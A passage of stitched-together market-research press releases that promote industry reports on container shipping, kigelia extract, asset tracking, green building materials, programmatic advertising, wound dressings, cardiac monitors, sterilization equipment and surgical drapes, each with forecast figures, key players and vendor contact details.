Mining, Food and Beverages, Semiconductor and Electronics, Consumer Goods, and Shipping and Transportation industries. The company draws from its multi-disciplinary capabilities and high-pedigree team of analysts to share data that precisely corresponds to clients business needs.PMR stands committed to bringing more accuracy and speed to clients business decisions. From ready-to-purchase market research reports to customized research solutions, PMRs engagement models are highly flexible without compromising on its deep-seated research valuesContactPersistence Market Research Pvt. Ltd305 Broadway7th Floor, New York City,NY 10007, United States,USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.commedia@persistencemarketresearch.comWeb:
New Study On Container Shipping Market: Global Industry Analysis & Outlook, 2017 - 2021

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Researchmoz added Most up-to-date research on "New Study On Container Shipping Market: Global Industry Analysis & Outlook, 2017 - 2021" to its huge collection of research reports.Global Container Shipping MarketThe ship which is structured specifically to hold huge quantities of cargo compressed in different types of containers is referred to as a container ship (also known as cargo ship). The process of sending cargo in special containers is known as containerization. Container ships are constructed to accommodate immense possible cargo loads. The load holding capacity of container ships is measured in terms of Twenty-foot Equivalent Units or TEUs, with the biggest container ships carrying as much as over 15,000-16,000 TEUs. Container units form the most integral part of the entire shipping industry, trade, and transport. These shipping containers are the structures that store various kinds of products that need to be shipped from one part of the world to another.The global container shipping market is set to experience favorable growth driven by factors such as increasing sea borne trade, growing containerization, plummeting oil prices and upsurge in disposable income. Further, the scope of growth for this market will be broadened by increasing demand for shipping services therapy and accelerating economic growth. The major trends that can be observed in this market include increasing consolidation of key players, advancements in container shipping, increasing fleet management techniques and growing intermodal freight transportation. However, the growth of this budding market is constrained by challenges such as product miniaturization, environmental regulations, emergence of 3D printing technology and rising trade protectionism.To Get Sample Copy of Report visit @The report Global Container Shipping market: Industry Analysis & Outlook (2017-2021) analyses the development of this market, with focus on Asia and Europe markets. The major trends, growth drivers as well as issues being faced by the market are discussed in detail in this report. The four major players: A.P. Moller-Maersk Group, CMA CGM S.A., Hapag-Lloyd Group and COSCO Group are being profiled along with their key financials and strategies for growth. The report contains a comprehensive analysis of the global container shipping market along with the study of the regional markets.Table of Content1. Overview1.1 Introduction1.2 Types of Container Shipping1.3 Industry Value ChainBrowse TOC @2. Global Container Shipping Market2.1 Global Container Shipping Market Forecast by Value2.2 Global Container Shipping Market Forecast by Volume2.3 Global Container Shipping Market Volume by Region2.4 Global Container Shipping New Contracts Volume2.5 Global Container Shipping Net Fleet Additions2.6 Global Container Shipping Trade Volume Forecast2.7 Global Container Shipping Trade Volume by Key Routes2.8 Global Container Shipping Trade Growth by Key Routes2.9 Global Container Shipping Fleet Supply Forecast3. Regional Market3.1 Asia3.1.1 Asia Container Shipping Market Forecast by Volume3.1.2 China Container Shipping Market Forecast by Volume3.2 Europe3.2.1 Europe Container Shipping Market Forecast by VolumeAbout ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.Mr. NachiketState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
Kigelia Extract Market Key Players, Growth, Analysis, 2017  2027

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Kigelia Africana or Kigelia pinnata, which is a cucumber-shaped fruit is produced throughout Africa and derives its name from the rare 'sausage' shaped fruit. Africas native people have been using Kigelia fruit for medicinal and cosmetic purposes for many years. The Tonga women of Africa who lives near Zambezi Valley uses kigelia extract for the cosmetic purpose which in turn gives them an assurance of blemish-free complexion. It is a multipurpose medicinal plant with many qualities and considerable capacities. It got its name due to large sausage or cucumber-like fruit. Kigelia fruit was commonly used by traditional healers to treat a broad range of skin conditions such as fungal infections, eczema, psoriasis and boils. Kigelia Extract is also used as active ingredient in skin tightening and breast firming formulations. It acts as a moisturizer which provides protection to sensitive skins. Therefore it is a perfect solution for dry skin that is often exposed to the sun and helps in Rejuvenation and anti-aging of skin. The plant also has traditional uses such as anticancer, antiulcer, anti-aging, antioxidant, and anti-malarial.Download exclusive Sample of this report:Due to the skin-enhancing properties, cosmetic companies uses kigelia extract to make varieties of skin care and personal care products. Kigelia fruit extract also was utilized in the treatment of skin cancer named Melanoma.Kigelia contains compounds such as flavonoids, coumarins, norviburtinal, iridoids, fatty acids, sterols, glycosides and napthaquinones. Scientific literature has shown antibacterial activity and kigelia extract has also been shown to contract the area of small wounds. Being used as a topical skin preparation, kigelia is also taken internally to treat conditions such as dysentery, ringworm, malaria, diabetes and pneumonia.Kigelia Africana Fruit Extract includes the following substances, among others; Flavones are polyphenols with anti-oxidative effects, steroidal saponins and their aglycones such as ruscogenin also have a tightening effect on the connective tissue and Phytosterols such as stigmasterol and -sitosterol stabilize the skin barrier analogous to the human cholesterol.Obtain Report Details @Kigelia Extract Market Dynamics: Drivers and RestraintsIncreasing population, rising awareness among consumers about benefits associated with Kigelia extract, growing health consciousness and aspiration for skin and personal care products are the factors expected to fuel the growth of kigelia extract during the forecast period.Lack of awareness among consumers regarding kigelia benefits and high cost of Kigelia fruit can be restraints of global kigelia extract market.Kigelia Extract Market SegmentationKigelia extract market segmented by end use/application, product form, and process. Based on product form, kigelia extract market segmented into powdered and liquid form. Over the next few years, a Liquid form of Kigelia extract is expected to witness relatively higher share in the global Kigelia extract market and used as a conditioner, serum, gel, moisturizer, shampoo, etc. By end use/application, Kigelia extract market segmented into cosmetics industry, the pharmaceutical industry, and textile industry. Based on the process, Kigelia Extract market further segmented into fermentation, calcification, biochemical, phytochemical, micro dilution, and maceration process.Segment OverviewBased on end use/applicationCosmetics industryPharmaceutical industryTextile industryBased on product formLiquidPowderKigelia Extract Market PlayersSome players in the global Kigelia Extract Market are Byron Bay, bioBotanica, Greentech, Xi'an Herbeing Biotechnology Co., Ltd., Nanjing Zelang Medical Technology Co., Ltd., May Gi Joy International Company Limited, Meso Skin Care & Marketing Sdn. Bhd.Kigelia Extract Market: Regional OutlookKigelia Africana known as the Sausage tree widely distributed through the South, Central, and West Africa, where it has a long history of use. Africa is the dominant player in global Kigelia extract market followed by Eastern and Western Europe, China, UK, Latin America, North America, India and other regions. Companies in the kigelia extract market focus upon taking advantage of the opportunities in developing nations like India and China to strengthen their geographical presence and expand their revenue base. Overall, the overview of the global kigelia extract market will have significant growth in the forecast period, increasing demand for skin care products and health consciousness among consumers are forging factors.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. 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Information Management on Asset Tracking and Inventory Management Market Size & Share, Growth, Trends and Forecast 2017 - 2025

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The report analyzes and presents an overview of "Asset Tracking and Inventory Management Market - Global Industry Analysis, Size, Share, Growth, Trends and Forecast 2017 - 2025" worldwide.The main objective of this report is to define, describe, and forecast the global Asset Tracking and Inventory Management market on the basis of types of applications, major sectors, deployment models, organization size, and regions. The report contains an analysis of the major factors influencing the growth of the market (drivers, restraints, opportunities, and challenges). It aims to strategically analyze the micromarkets with respect to individual growth trends, prospects, and their contribution to the market. The report attempts to forecast the market size for 5 major regions, namely, North America, Europe, Asia Pacific (APAC), Middle East and Africa (MEA), and Latin America. It contains key vendor profiles and comprehensively analyzes their core competencies. The report also tracks and analyzes competitive developments, including partnerships, collaborations, acquisitions, new product developments, and R&D activities in the market.Get Sample Copy Of This Report @ Every company uses a number of assets daily. An asset is any item that a company uses internally such as office equipment, tools, IT equipment etc. Integrated asset management solutions help companies efficiently and accurately track any of its assets. With an easy to use, convenient, asset tracking and inventory management solution, one can keep track of all valuable assets and inventory.Asset tracking deals with assets such as educational material, tools, or computers. A company may have 10 computers of the same configuration but it needs to have a unique barcode label or RFID tag so that one can track the assets condition, purchase date, custodian, last maintenance, value, location etc.Inventory management refers to objects that are sold, consumed, or distributed by a company. These are temporary items and include office supplies and retail items. Inventory management solutions allow employees to monitor/track reorder levels, objects for sale or resale. The asset tracking and inventory management solution is a source of all the asset and inventory information and dictates how one interacts with this information. The use of asset management software in combination with mobile computers allows speeding up audit tasks and conduct asset tracking in real time. Asset tracking and inventory management solutions enables data to get collected faster and in great detail, eliminates human errors, enables reporting flexibility, and enforces accountability and personal responsibility for company property.Asset tracking and inventory management solutions minimizes operational cost of companies by efficient utilization of existing resources. This factor drives the market. For instance, managing and tracking equipment in real time helps organizations to schedule the maintenance in a timely manner, thereby increasing equipment life and reducing machine downtime. However, factors such as high initial cost associated with the hardware and significant maintenance expenditure are restraining the growth of the asset tracking and inventory management market. Deployment of relevant solutions such as real time location system, GPS etc. are helping to reduce maintenance downtime which is creating opportunities for the growth of the asset tracking and inventory management market. Moreover, the advent of wireless technology is enabling the deployment of these technologies wirelessly which is also creating growth opportunities for the asset tracking and inventory management market.View Report @The global asset tracking and inventory management market is segmented on the basis of component, deployment type, function, solution, end use, and region. The market can be segmented on the basis of component into hardware, software, and services. In terms of deployment type, the market can be segmented into on-premise and cloud. The functional market can be segmented into location/movement tracking, check-in/check-out, repair and maintenance and others including security, automatic updating of data etc. In terms of solution, the market can be classified into radio frequency identification (RFID), real-time location system (RLTS), barcode, and global positioning system (GPS). On the basis of end use, the market is classified into retail, healthcare, transportation & logistics, hospitality, industrial manufacturing, process industry and others including construction, government, education etc. The market is segmented in terms of geographical regions into North America, Asia Pacific, Middle East & Africa (MEA), South America, and Europe.Industry participants leading the asset tracking and inventory management market with significant developments are SAP SE, Microsoft Corporation, Oracle Corporation, Epicor Software Corporation, JDA Software, Stanley Black & Decker, Inc., Honeywell International, Inc., Trimble Inc., Topcon Corporation, and Zebra Technologies Corporation, among others.The report offers a comprehensive evaluation of the market. It does so via in-depth qualitative insights, historical data, and verifiable projections about market size. The projections featured in the report have been derived using proven research methodologies and assumptions. By doing so, the research report serves as a repository of analysis and information for every facet of the market, including but not limited to: Regional markets, technology, types, and applications.Request For Enquiry @The study is a source of reliable data on:Market segments and sub-segmentsMarket trends and dynamicsSupply and demandMarket sizeCurrent trends/opportunities/challengesCompetitive landscapeTechnological breakthroughsValue chain and stakeholder analysisThe regional analysis covers:North America (U.S. and Canada)Latin America (Mexico, Brazil, Peru, Chile, and others)Western Europe (Germany, U.K., France, Spain, Italy, Nordic countries, Belgium, Netherlands, and Luxembourg)Eastern Europe (Poland and Russia)Asia Pacific (China, India, Japan, ASEAN, Australia, and New Zealand)Middle East and Africa (GCC, Southern Africa, and North Africa)The report has been compiled through extensive primary research (through interviews, surveys, and observations of seasoned analysts) and secondary research (which entails reputable paid sources, trade journals, and industry body databases). The report also features a complete qualitative and quantitative assessment by analyzing data gathered from industry analysts and market participants across key points in the industrys value chain.A separate analysis of prevailing trends in the parent market, macro- and micro-economic indicators, and regulations and mandates is included under the purview of the study. By doing so, the report projects the attractiveness of each major segment over the forecast period.Check Discount @ Highlights of the report:A complete backdrop analysis, which includes an assessment of the parent marketImportant changes in market dynamicsMarket segmentation up to the second or third levelHistorical, current, and projected size of the market from the standpoint of both value and volumeReporting and evaluation of recent industry developmentsMarket shares and strategies of key playersEmerging niche segments and regional marketsAn objective assessment of the trajectory of the marketRecommendations to companies for strengthening their foothold in the marketAbout usMarketResearchReports.biz is the most comprehensive collection of market research reports. MarketResearchReports.Biz services are specially designed to save time and money for our clients. We are a one stop solution for all your research needs, our main offerings are syndicated research reports, custom research, subscription access and consulting services. We serve all sizes and types of companies spanning across various industries.Contact usMr. NachiketState Tower90 Sate Street, Suite 700Albany, NY 12207Tel: +1-518-621-2074Website:E: sales@marketresearchreports.biz
Market Growth of Green Building Materials and Future Analysis by 2022, key players- Alumasc Group plc., Wienerberger AG, Homasote Company

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Market ScenarioThe key drivers for the growth of the green building materials market are increasing consumer awareness regarding energy efficiency and government supportive policies. The green building material market is augmented due to its features such as low maintenance cost, low operating cost and low water requirements. The green building materials are widely used in health care, residential, commercial and infrastructure industries. Health care industry by application contributes highest to the overall growth of the market. Insulation and roofing segment by end-use contributes largely to the market. North-America contributes highest to the market, majorly due to increasing consumer awareness regarding environmental and economic benefits. The global green building materials market size was valued at around USD 158 Billion in 2015 and is expected to cross USD 245 Billion at CAGR of 17% by 2022.Regional Analysis of Global Green Building Materials MarketNorth-America is the largest market for green building materials, followed by Asia-Pacific. The reason is attributed to the growing need of energy saving construction buildings, government & non-government regulations for energy efficiency practices and increasing consumer awareness regarding environmental & economic benefits. Asia-Pacific is expected to expand fastest over the forecasted period.Request a sample @Key PlayersThe key players of global Green Building Materials Market report include- Alumasc Group plc., Bauder Ltd., Wienerberger AG, Binderholz GmbH, Homasote Company, CertainTeed Corporation, LG Hausys Ltd., RedBuilt LLC, PPG Industries, Inc., E. I. du Pont de Nemours and Company, Forbo International SA, Kingspan Limited, Lafarge Company, BASF SE, and Owens Corning.Target Audience Manufactures Raw Materials Suppliers Aftermarket supplier Research Institute / Education Institute Potential Investors Key executive (CEO and COO) and strategy growth managerProduct Analysis Product matrix which gives a detailed comparison of the market for different recycled product typesAdditional Information Regulatory Landscape Pricing Analysis Macroeconomic IndicatorsGeographic Analysis Geographical analysis across 15 countriesCompany Information Profiling of 10 key market players In-depth analysis including SWOT analysis, and strategy information of related to report title Competitive landscape including emerging trends adopted by major companiesThe report for Global Green Building Materials Market of Market Research Future comprises of extensive primary research along with the detailed analysis of qualitative as well as quantitative aspects by various industry experts, key opinion leaders to gain the deeper insight of the market and industry performance. The report gives the clear picture of current market scenario which includes historical and projected market size in terms of value and volume, technological advancement, macro economical and governing factors in the market. The report provides details information and strategies of the top key players in the industry. The report also gives a broad study of the different market segments and regions.Browse report @About Market Research Future:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting ServicesMarket Research Future Office No. 524/528, Amanora Chambers Magarpatta Road, Hadapsar
Programmatic Display Market Trends & Forecast to 2022

Programmatic Display Market

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HTF MI published a new industry research that focuses on Programmatic Display market and delivers in-depth market analysis and future prospects of Global Programmatic Display market. The study covers significant data which makes the research document a handy resource for managers, analysts, industry experts and other key people get ready-to-access and self-analyzed study along with graphs and tables to help understand market trends, drivers and market challenges. The study is segmented by Application/ end users [Desktop Display, Desktop Video, Mobile Display & Mobile Video], products type [Real Time Bidding, Private Marketplace & Automated Guaranteed] and various important geographies like United States, EU, Japan, China, India & Southeast Asia].Get Access to sample pages @The research covers the current market size of the Global Programmatic Display market and its growth rates based on 5 year history data along with company profile of key players/manufacturers such as AppNexus Inc., AOL Inc. (Verizon Communications Inc.), Yahoo! Inc., DataXu Inc., Adroll.Com, Google Inc. (Doubleclick), Adobe Systems Incorporated, Rubicon Project Inc., Rocket Fuel Inc., MediaMath Inc., IPONWEB Holding Limited (BidSwitch), Between Digital, Fluct, Adform, The Trade Desk, Turn Inc., Beeswax, Connexity, Inc. & Centro, Inc.. The in-depth information by segments of Programmatic Display market helps monitor future profitability & to make critical decisions for growth. The information on trends and developments, focuses on markets and materials, capacities, technologies, CAPEX cycle and the changing structure of the Global Programmatic Display Market.The study provides company profiling, product picture and specifications, sales, market share and contact information of key manufacturers of Global Programmatic Display Market, some of them listed here are AppNexus Inc., AOL Inc. (Verizon Communications Inc.), Yahoo! Inc., DataXu Inc., Adroll.Com, Google Inc. (Doubleclick), Adobe Systems Incorporated, Rubicon Project Inc., Rocket Fuel Inc., MediaMath Inc., IPONWEB Holding Limited (BidSwitch), Between Digital, Fluct, Adform, The Trade Desk, Turn Inc., Beeswax, Connexity, Inc. & Centro, Inc.. The market is growing at a very rapid pace and with rise in technological innovation, competition and M&A activities in the industry many local and regional vendors are offering specific application products for varied end-users. The new manufacturer entrants in the market are finding it hard to compete with the international vendors based on quality, reliability, and innovations in technology.Global Programmatic Display (Thousands Units) and Revenue (Million USD) Market Split by Product Type such as Real Time Bidding, Private Marketplace & Automated Guaranteed. Further the research study is segmented by Application such as Desktop Display, Desktop Video, Mobile Display & Mobile Video with historical and projected market share and compounded annual growth rate.Geographically, this report is segmented into several key Regions, with production, consumption, revenue (million USD), and market share and growth rate of Programmatic Display in these regions, from 2012 to 2022 (forecast), covering United States, EU, Japan, China, India & Southeast Asia and its Share (%) and CAGR for the forecasted period 2017 to 2022.Read Detailed Index of full Research Study at @What this Research Study Offers:Global Programmatic Display Market share assessments for the regional and country level segmentsMarket share analysis of the top industry playersStrategic recommendations for the new entrantsMarket forecasts for a minimum of 5 years of all the mentioned segments, sub segments and the regional marketsMarket Trends (Drivers, Constraints, Opportunities, Threats, Challenges, Investment Opportunities, and recommendations)Strategic recommendations in key business segments based on the market estimationsCompetitive landscaping mapping the key common trendsCompany profiling with detailed strategies, financials, and recent developmentsSupply chain trends mapping the latest technological advancementsBuy this research report @There are 15 Chapters to display the Global Programmatic Display market.Chapter 1, to describe Definition, Specifications and Classification of Programmatic Display , Applications of Programmatic Display , Market Segment by Regions;Chapter 2, to analyze the Manufacturing Cost Structure, Raw Material and Suppliers, Manufacturing Process, Industry Chain Structure;Chapter 3, to display the Technical Data and Manufacturing Plants Analysis of Programmatic Display , Capacity and Commercial Production Date, Manufacturing Plants Distribution, R&D Status and Technology Source, Raw Materials Sources Analysis;Chapter 4, to show the Overall Market Analysis, Capacity Analysis (Company Segment), Sales Analysis (Company Segment), Sales Price Analysis (Company Segment);Chapter 5 and 6, to show the Regional Market Analysis that includes United States, EU, Japan, China, India & Southeast Asia, Programmatic Display Segment Market Analysis (by Type);Chapter 7 and 8, to analyze the Programmatic Display Segment Market Analysis (by Application) Major Manufacturers Analysis of Programmatic Display ;Chapter 9, Market Trend Analysis, Regional Market Trend, Market Trend by Product Type [Real Time Bidding, Private Marketplace & Automated Guaranteed], Market Trend by Application [Desktop Display, Desktop Video, Mobile Display & Mobile Video];Chapter 10, Regional Marketing Type Analysis, International Trade Type Analysis, Supply Chain Analysis;Chapter 11, to analyze the Consumers Analysis of Global Programmatic Display ;Chapter 12, to describe Programmatic Display Research Findings and Conclusion, Appendix, methodology and data source;Chapter 13, 14 and 15, to describe Programmatic Display sales channel, distributors, traders, dealers, Research Findings and Conclusion, appendix and data source.Get customization & check discount for report @Thanks for reading this article; you can also get individual chapter wise section or region wise report version like North America, Europe or Asia.Connect with us atHTF Market Report is a wholly owned brand of HTF market Intelligence Consulting Private Limited. HTF Market Report global research and market intelligence consulting organization is uniquely positioned to not only identify growth opportunities but to also empower and inspire you to create visionary growth strategies for futures, enabled by our extraordinary depth and breadth of thought leadership, research, tools, events and experience that assist you for making goals into a reality. Our understanding of the interplay between industry convergence, Mega Trends, technologies and market trends provides our clients with new business models and expansion opportunities. We are focused on identifying the Accurate Forecast in every industry we cover so our clients can reap the benefits of being early market entrants and can accomplish their Goals & Objectives.Contact us :HTF Market Intelligence Consulting Private LimitedUnit No. 429, Parsonage Road Edison, NJNew Jersey USA  08837sales@htfmarketreport.com+1 (206) 317 1218
Wound Dressing Market is predicted to reach US$10.1 bn in 2020

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Wound Dressing Market to Reach US$10.1 bn by 2020 due to Growing Number of Chronic DiseasesA new Transparency Market Research report states that the global wound dressing market stood at US$7.5 bn in 2013 and is predicted to reach US$10.1 bn in 2020. It is expected to expand at a CAGR of 4.50% from 2014 to 2020. The title of the report is Wound Dressings Market - Global Industry Analysis, Size, Share, Growth, Trends and Forecast, 2014  2020.Read Report overview @TheWound Dressing Market is segmented on the basis of expression system, By Type and region.On the basis of type, the global market for wound dressings has been bifurcated into traditional wound dressings and advanced wound dressings. Further the segment of traditional wound dressings has been classified into anti-infective dressings, wound closure products, and basic wound care. The segment of advanced wound dressings has been categorized into collagen, alginates, hydrofiber, hydrocolloids, films, and foams. Basic wound care emerged as the main section of the traditional wound dressings segment in 2013. Basic wound care items, for instance, cotton dressing and sterile cotton are seeing extensive sales in developing nations, as these are anything but difficult to utilize and need minimal training.Region-wise, Asia Pacific was the leading market for traditional wound dressings in 2013. This can be credited to the utterly price sensitive markets in this area and the solid customary foundations that direct the recuperating strategies. Extensive populaces of patients are not ready to bear the cost of cutting edge wound care or are essentially unwilling to adjust to more novel wound dressing advances because of lack of knowledge. North America, especially the U.S., was the leading market for advanced wound dressings as far as income in 2013 is concerned. However, Asia Pacific also witnessed the leading growth rate in the recent past and is likely to stay the same in the years ahead.Request A Sample Report@Summary of Table of Content:1 Introduction2 Executive Summary3 Global Wound Dressings Market Overview4 Global Wound Dressings Market, by Products5 Global Wound Dressings Market, by Geography6 Recommendations7 Company ProfilesRequest to Browse Full Table of Content, figure and Tables @About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.ContactTransparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:TMR Blog:
Continuous Cardiac Monitoring Devices Market Trends Expected to Emerge and Grow During 2017-2027

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Cardiovascular disease (CVD) like stroke and heart disease are the leading cause of death across the globe. As per World Health Organization (WHO), 30% of the deaths caused globally in 2008 was due to heart disease which accounted for 17.3 Mn. Majority of cardiovascular diseases could be managed by early detection of abnormalities in the functioning of heart. Continuous cardiac monitoring devices are used for observation of cardiac activity. Continuous monitoring of heart is mandatory to assess patients condition suffering from CVD. Cardiac monitoring devices records and display pressure and electrical waveforms of the cardiovascular system for measurement and treatment.Continuous Cardiac Monitoring Devices Market: Drivers & RestraintsGrowth in the continuous cardiac monitoring devices market revenue is expected to boost due to factors such as increasing burden of cardiovascular diseases due to change in lifestyle, rising awareness amongst patients regarding regular monitoring of heart to increase life expectancy and ease of use and portability of devices. Increasing demand for home based and remote monitoring cardiac systems is expected to affect significantly on continuous cardiac monitoring devices market. Additional factors such as favorable government initiatives, increasing availability of technologically advanced products especially in developed regions, increasing contribution of independent organizations to spread awareness and increasing prevalence of obesity are projected to favor the continuous cardiac monitoring devices market over the forecast period.Request Report TOC:Few factors that can pull back the market are high cost of devices, low accuracy of invasive cardiac monitoring devices and unstable reimbursement policies. Apart from these factors, scarcity of technologically advanced products in developing regions is expected to hamper the revenue growth of global continuous cardiac monitoring devices market over the forecast period.Continuous Cardiac Monitoring Devices Market: OverviewContinuous cardiac monitoring devices market is expected to expand at a significant growth rate across regions. Major players in this segment are working on their research and development process to build superior products and increase product portfolio. The prevalence of cardiovascular diseases are on the rise across the globe due to a large number of elderly population are suffering from cardiac ailments. Furthermore, the prevalence of obesity is increasing worldwide. Ease of diagnosis by cardiac monitoring devices due to wide variety of products available in the marketis attracting more number of patients which is expected to boost revenue growth of global continuous cardiac monitoring devices marketRequest A Sample of Report:Continuous Cardiac Monitoring Devices Market: Region-wise OutlookA geographic condition regarding continuous cardiac monitoring devices market, it has been segmented into seven key regions: North America, Eastern Europe, Western Europe, Japan, Latin America, Asia-Pacific excluding Japan and the Middle East & Africa.North America is anticipated to account for significant contribution under continuous cardiac monitoring devices by revenue generation. Advances in development of new products and high spending on research and development in Western Europe proves to uplift of the continuous cardiac monitoring devices market. With rising in standards of health care services and increase in awareness towards the treatments in India and China is expected to propel the market for continuous cardiac monitoring devices in overall Asia Pacific region.Pre Book Continuous Cardiac Monitoring Devices Market Research Report:Continuous Cardiac Monitoring Devices Market: Key PlayersSome of the players in continuous cardiac monitoring devices market are Boston Scientific Corporation, GE Healthcare, PULSION Medical Systems, Edwards Lifesciences Corporation, Deltex Medical and LiDCO Group plc.About UsFuture Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services which are personalized in nature. FMI delivers a complete packaged solution, which combines current market intelligence, statistical anecdotes, technology inputs, valuable growth insights and an aerial view of the competitive framework and future market trends.Contact Us616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705T (UK): +44(0)20-7692-8790Sales: sales@futuremarketinsights.comWebsite:
Sterilization Equipment Market Trends Expected to Emerge and Grow During 2017-2027

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Sterilization is the process of eliminating biological agents or any forms of lives, which include transmissible agents such as fungi, bacteria, spore forms, unicellular eukaryotic organisms and spore forms that are present in a specific surface, region, medication, fluid, etc. Sterilization is an unavoidable process in medical industry withefficacy and sterility of the sterilization equipment as prime factors. The serious issues over utilization of unsterilized equipment such as lethalhepatitis and HIV threatening public health, emphasise the importance for effective infection control. Sterilization equipment are thus a crucial part of the heath care setting owing to their extensive utilization for disinfecting and aiding in reprocessing tools and devices. With governments engaged in introducing productive measure to uplift and improve public heath, the scope of application of medical service, tools and devices has expanded significantly. Recent pandemics such as Ebola virus has emphasized the crucial need of hygienic environment and proper administration of medical faculties. Ultra high sterilization temperature equipment finds an extensive utilization in sterilization of food containers such as milk, juice & beer bottles.Request Report TOC:Global Sterilization Equipment Market: Market DynamicsWith the growth of geriatric population and increasing concern over post-operation acquired infection and diseases, the demand for sterilized equipment is increasing significantly. The increasing investment in healthcare infrastructure and focus over public health by introducing stringent regulations regarding medical equipment is positively influencing and propelling the global sterilization equipment market. However, in relatively emerging economies and countries, the high cost of sterilization equipment acts as a barrier and challenges revenue sales growth of the sterilization equipment market. Not only the utilisation is limited to medical application, but also the food and beverage industry is a prime application segment of sterilization equipment market. With prominent consumption in cleaning and disinfecting container and packages, the thriving sector is expected to create significant revenue opportunities during the forecast period. Sterilization equipment market participants are focusing over the development of equipment catering to a wider scope of tools and having extensive disinfecting properties. The sterilization equipment market is expected to witness a growing trend of outsourcing sterilizing services to independent operators during the forecast year.Request A Sample of Report:Global Sterilization Equipment Market: Regional OutlookNorth America sterilization equipment market accounts for maximum revenue contribution during the forecast period. Followed by North America, Western Europesterilization equipment market is expected to contribute significant revenue share during the forecast period owing to increasing demand for medical devices from key markets such as Germany, France and Nordics. The evolving healthcare infrastructure in Asia Pacific spearheaded by India, China and ASEAN is expected to create significant revenue and unit sales opportunities for manufacturers in the region. Pivotal focus over healthcare spending and government initiatives to improve medical services is expected to moderately increase the consumption of sterilization equipment moderately in Japan. Likewise, increased investment for medical services in the Middle East and Africa has propelled the demand for sterilization equipment. Even though the revenue contributions of Eastern Europe and Latin America sterilization equipment market are relatively low, escalating number of small and medium medical facilities are expected to register relatively higher revenue growth during the forecast period.Pre Book Sterilization Equipment Market Research Report:Global Sterilization Equipment Market: Market ParticipantsExamples of some of the market participants in the global sterilization equipment market include Tuttnauer, Steris Corporation, Cantel Medical Corporation, Matachana Group, Celitron Medical Technologies Kft, Getinge Group, Belimed Ag, which is a part of A Metall Zug Group, MME group Inc, Anderson Products, Inc, MMM Group and Nanosonics Ltd among other key participants in the global Sterilization Equipment Market.About UsFuture Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services which are personalized in nature. FMI delivers a complete packaged solution, which combines current market intelligence, statistical anecdotes, technology inputs, valuable growth insights and an aerial view of the competitive framework and future market trends.Contact Us616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705T (UK): +44(0)20-7692-8790Sales: sales@futuremarketinsights.comWebsite:
Global Surgical Drapes Market Projected to reach US$ 3.8 Bn by 2025 End

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A new report added to the repository of Market Research Reports Search Engine Surgical Drapes Market - Global Industry Analysis, Size, Share, Volume, Growth, Trends, and Forecast 2017 - 2024 is a comprehensive repository of information, providing market share, size, and forecast.Request to view Sample Report @Global Surgical Drapes Market: SnapshotSurgical drapes are used in operative room during surgery to cover patients body to eliminate the risk of surgical site contamination by separating the surgical site from the remaining part of the patients body, as well as from non-sterile areas of the surgical table. Surgical drapes are offered in different shapes sizes as well as therapy wise. Surgical drapes are the indispensable part of operating room and used for several applications from protecting the patient body to covering utilities. Demand for surgical drapes is increasing due to rising number of surgeries worldwide, increasing focus on infection control and rising awareness about hygiene. According to the European Centre for Disease Prevention and Control (ECDC), one in 20 patients get affected by hospital acquired infection. Out of 4.1 million patients in the European Union, approximately 37,000 deaths occur due to such infections.Hospitals Emerge as the Leading End User Exhibiting Significantly High DemandAccording to Transparency Market Research, the global surgical drapes market is projected to reach US$ 3.8 Bn in 2025 at a CAGR of 3.3% from 2017 to 2025. The global surgical drapes market is segmented by types, usability, material, end user and geography. Among the end users, the hospitals is the largest contributors in terms revenue in the global surgical drapes market. Majority of surgeries globally are performed in hospitals, even ambulatory surgery procedures are carried out in hospitals which makes hospitals the largest consumer of surgical drapes. Ambulatory surgical centers is the second biggest segment in the global surgical drapes market. Increasing minimally invasive procedures are fueling the market of surgical drapes in ASCs.According to usability, the disposable surgical drapes highly contributes in terms of revenue for the growth of the global surgical drapes market. Inclusive use of disposable drapes in U.S. and increasing awareness of disposable surgical drapes in other regions is driving the market for disposable surgical drapes. Reusable surgical drapes are widely used more of low and middle income countries and therefore possess significant market share in the global market.View Specifics Report with Table of Content @By material, market is dominated by nonwoven surgical drapes as nonwoven material is generally used in manufacturing of disposable surgical drapes. Nonwoven surgical drapes offers better comfort, breathability and barrier against micro-organisms which makes them more preferred surgical drapes. Woven surgical drapes are becoming less of choice in operating room because of their disadvantages over nonwoven, moreover they still possess potential of use in surgeries with no or less risk of surgical site infections.North America Exhibits Dominance in Global Surgical Drapes MarketIn terms of geography, North America contributes maximum in the global surgical drapes market in terms of revenue due to well-developed infrastructure and high healthcare cost. Europe is the second largest region after North America contributing for the growth of global surgical drapes market. Increasing awareness regarding use of disposable surgical drapes with technological advances with rising number of surgeries due to geriatric population are the major factor responsible for the growth of the region. Latin America and Asia Pacific are the emerging market during the forecast period contributing 29.4% of market share together in 2016 for the growth of global surgical drapes market. Middle East and Africa has a huge potential and 